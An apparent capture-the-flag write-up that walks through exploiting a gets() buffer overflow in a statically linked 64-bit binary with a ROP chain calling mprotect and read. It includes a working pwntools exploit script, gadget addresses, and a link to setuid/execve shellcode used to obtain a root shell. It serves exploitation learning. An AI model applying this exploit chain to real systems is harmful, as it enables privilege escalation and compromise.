Solving a ROP on 64-bit challenge
In the name of Allah, the most beneficent, the most merciful.
###Before i begin this article, i want to thank @_py for showing me this beautiful community …
- This article is for learning purposes…
- Hello everybody, this my first article ever, i’m not really good at explaining things… But still, i will try making everything clear for you…
- So in this task we were given a binary, and its source code… So the first thing is that we should identify the bug, and try to do something with it…
- Also one thing to keep in mind, the binary does read our input and print it in hexadecimal.
The following lines seem interesting…
char buffer[256];
gets(buffer);
So we have an array named buffer, which size is 256.
and then comes a call to gets();
gets() reads a line from stdin into the buffer pointed to by s until either a terminating newline or EOF, which it replaces with a null byte (aq\0aq).
https://linux.die.net/man/3/gets
uhm, so it will read from stdin, until it gets newline. “\x0a”
Seems just perfect. so it will take our input, and stores it in buffer, one question that comes to our mind now…
What if the size of our input was > sizeof(buffer);
- The answer is that we’ll overwrite the value of saved RIP.
mean that we control the flow of the program…
Let’s try that in the real challenge now…
Let’s first download the binary…
Then let’s try to do what we talked about, making the size of input bigger than the size of the array:
Interesting, we got Segmentation fault, which is actually a signal…
In computing, a segmentation fault (often shortened to segfault) or access violation is a fault, or failure condition, raised by hardware with memory protection, notifying an operating system (OS) the software has attempted to access a restricted area of memory (a memory access violation).
So we can deduce that the RIP pointed to 0x41414141 and tried reading the instuction from that invalid address leading into this…
Awesome! but the question now, is what pad should we use till we reach the RIP saved address… what we should do is decrementing till it exits normally and add one, that’s the perfect padding…
Seems good, so the perfect pad to saved RIP is 280!
let’s make sure it’s the right pad…
And that’s just what we were looking for… Perfect!
Now what to do? we got control over RIP, what’s next?
The next thing is to find gadgets, that’ll help us get shell in some way…
To do this, you can use multiple tools, i use Ropper! a really great tool to search for gadgets ending with a ret; so it just won’t exit, instead, calls the following address.
This challenge, has the following protections on:
FULL RELRO NX ASLR
But, we have a more powerful thing, is that we have control over RIP… and we got alot of gadgets, since the binary is statically linked…
So now, we should make a plan for the attack…
what can we do to get a shell?
The first thing that comes to mind, is making an area in memory [executable, writeable, readable] (RWX), and put shellcode into it, and simply return to it…
To do this, we first got to understand the usage of some functions, like mprotect(), and read()…
And we can see that both function, take 3 arguments… And make use of them!
So let’s see the binary, and write what we will be doing!
1ST : mprotect() an area, making it RWX!
2ND : read() our shellcode from stdin ( fd = 0 ) into the area we made executable.
3RD : return to the area.
So let’s look for a good address to make it’s permissions RWX!
- We’ll be using vmmap in gdb-peda to see the areas.
Uhmm!
- We’ll choose 0x6bf000 !
So our usage of mprotect() will be like the following:
mprotect(0x6bf000(*addr), 0x100(len), PROT_READ|PROT_WRITE|PROT_EXEC(prot));
And our usage of read():
read(stdin(fd=0), 0x6bf000(*buf), 0x100(len));
Now, what gadgets can help us invoke the following calls?
We’ll use ropper to get the gadgets!
Let’s try and use ropper!
And that will give you all gadgets, will take some time to load…
let’s find the gadgets that interests us!
syscall; ret; ( invoking the syscall )
pop rax; ret; ( syscall number )
pop rdi; ret; ( 1st argument )
pop rsi; ret; ( 2nd argument )
pop rdx; ret; ( 3rd argument )
So now we have the gadgets, enough to invoke a call!
We will also make use of this table:
And we get syscall numbers for read() and mprotect()
- So for mprotect() we should set RAX to 0xa and for read() RAX should be set to 0x0
Now we’ve reached a part, where a problem becomes obvious. 0xa, is a newline char, sending it will corrupt our payload…
So we gotta find another way to control RAX, zeroing it out, using xor, and then increment it using add!
Gadgets that’ll help us do this:
xor rax with itself, resulting in RAX = 0; and ret;
increment RAX!
So now to making the exploit we’ll start with putting what we already know there:
#!/usr/bin/python
from pwn import *
c = process("./ch34")
# GADGETS
xorrax = 0x41bd9f
incrax = 0x45aa10
poprdi = 0x4016d3
poprsi = 0x4017e7
poprdx = 0x437205
syscall = 0x45b525
# ADDR
buf = 0x6bf000
# SYSCALL NUMS
mprotect = 0xa
read = 0x0
# EXPLOIT
payload = "A" * 280
# SENDING
c.sendline(payload)
c.interactive()
If we pop a register then the next address will be assigned to it as a value…
So let’s try to make use of the gadgets we found!
we’ll only modify the # EXPLOIT section in the exploit…
# EXPLOIT
payload = "A" * 280
payload += p64(xorrax) # SET RAX = 0
payload += p64(incrax) * 10 # SET RAX = 10
And it worked! we can now continue with other registers!
# EXPLOIT
payload = "A" * 280
payload += p64(xorrax) # SET RAX = 0
payload += p64(incrax) * 10 # SET RAX = 10
payload += p64(poprdi) # 1ST ARGUMENT
payload += p64(buf) # ADDRESS
payload += p64(poprsi) # 2ND ARGUMENT
payload += p64(0x100) # SIZE
payload += p64(poprdx) # 3RD ARGUMENT
payload += p64(0x7) # RWX
payload += p64(syscall) # SYSCALL
Let’s try and see now, if our area is executable!
That’s awesome! the area have now RWX permissions!
What do we need to do now?
We need to read the shellcode from stdin and place it in the executable area!
# EXPLOIT
payload = "A" * 280
payload += p64(xorrax) # SET RAX = 0
payload += p64(incrax) * 10 # SET RAX = 10
payload += p64(poprdi) # 1ST ARGUMENT
payload += p64(buf) # ADDRESS
payload += p64(poprsi) # 2ND ARGUMENT
payload += p64(0x100) # SIZE
payload += p64(poprdx) # 3RD ARGUMENT
payload += p64(0x7) # RWX
payload += p64(syscall) # SYSCALL
payload += p64(xorrax) # SET RAX = 0
payload += p64(poprdi) # 1ST ARGUMENT
payload += p64(0x0) # STDIN
payload += p64(poprsi) # 2ND ARGUMENT
payload += p64(buf) # ADDRESS
payload += p64(poprdx) # 3RD ARGUMENT
payload += p64(0x100) # SIZE
payload += p64(syscall) # SYSCALL
And that will be enough to invoke a mprotect() to make the area executable and then read() shellcode from stdin ( fd = 0 ) but still we didn’t do one thing, is returning to shellcode!
To do it, we need to add one line! remember it’s syscall; ret;
So we need to add:
payload += p64(buf)
And also, since it’ll read the shellcode from stdin, we’ll add a variable named shellcode containing a x86_64 shellcode…
and send it right after:
c.sendline(payload)
c.sendline(shellcode)
- And i think that’s enough to come with a shell!
Time to try!
And we successfully got our lovely shell!
to exploit now on remote, and i’m a windows user… we got to take our payload and change it’s form…
- Write payload to a file and take it out of my VM…
- Write a little php script to make it in the form i want…
<?php
error_reporting(0);
$c = file_get_contents('payload');
for($i = 0; $i < strlen($c); $i++){
$a = $c[$i];
$h = base_convert(ord($a), 10, 16);
if(strlen($h) < 2){
$p = "0";
}else{
$p = "";
}
$n .= "\x".$p.$h;
}
print $n;
?>
And that will give us the payload in the following form:
So we can use it: (python -c ‘print “(payload here)”’; python -c ‘print “(shellcode here)”’; cat) | ./ch34
after doing so!
We failed…
We got a shell, but no root permissions!
What about an setuid(0); and then execve(‘/bin/sh’); shellcode?
http://shell-storm.org/shellcode/files/shellcode-77.php
And yeah! it worked…
We successfully exploited it using Return oriented programming!
Hope you understood well, and enjoyed reading as well!
If people like such simple articles, i’ll try making more later!
~ exploit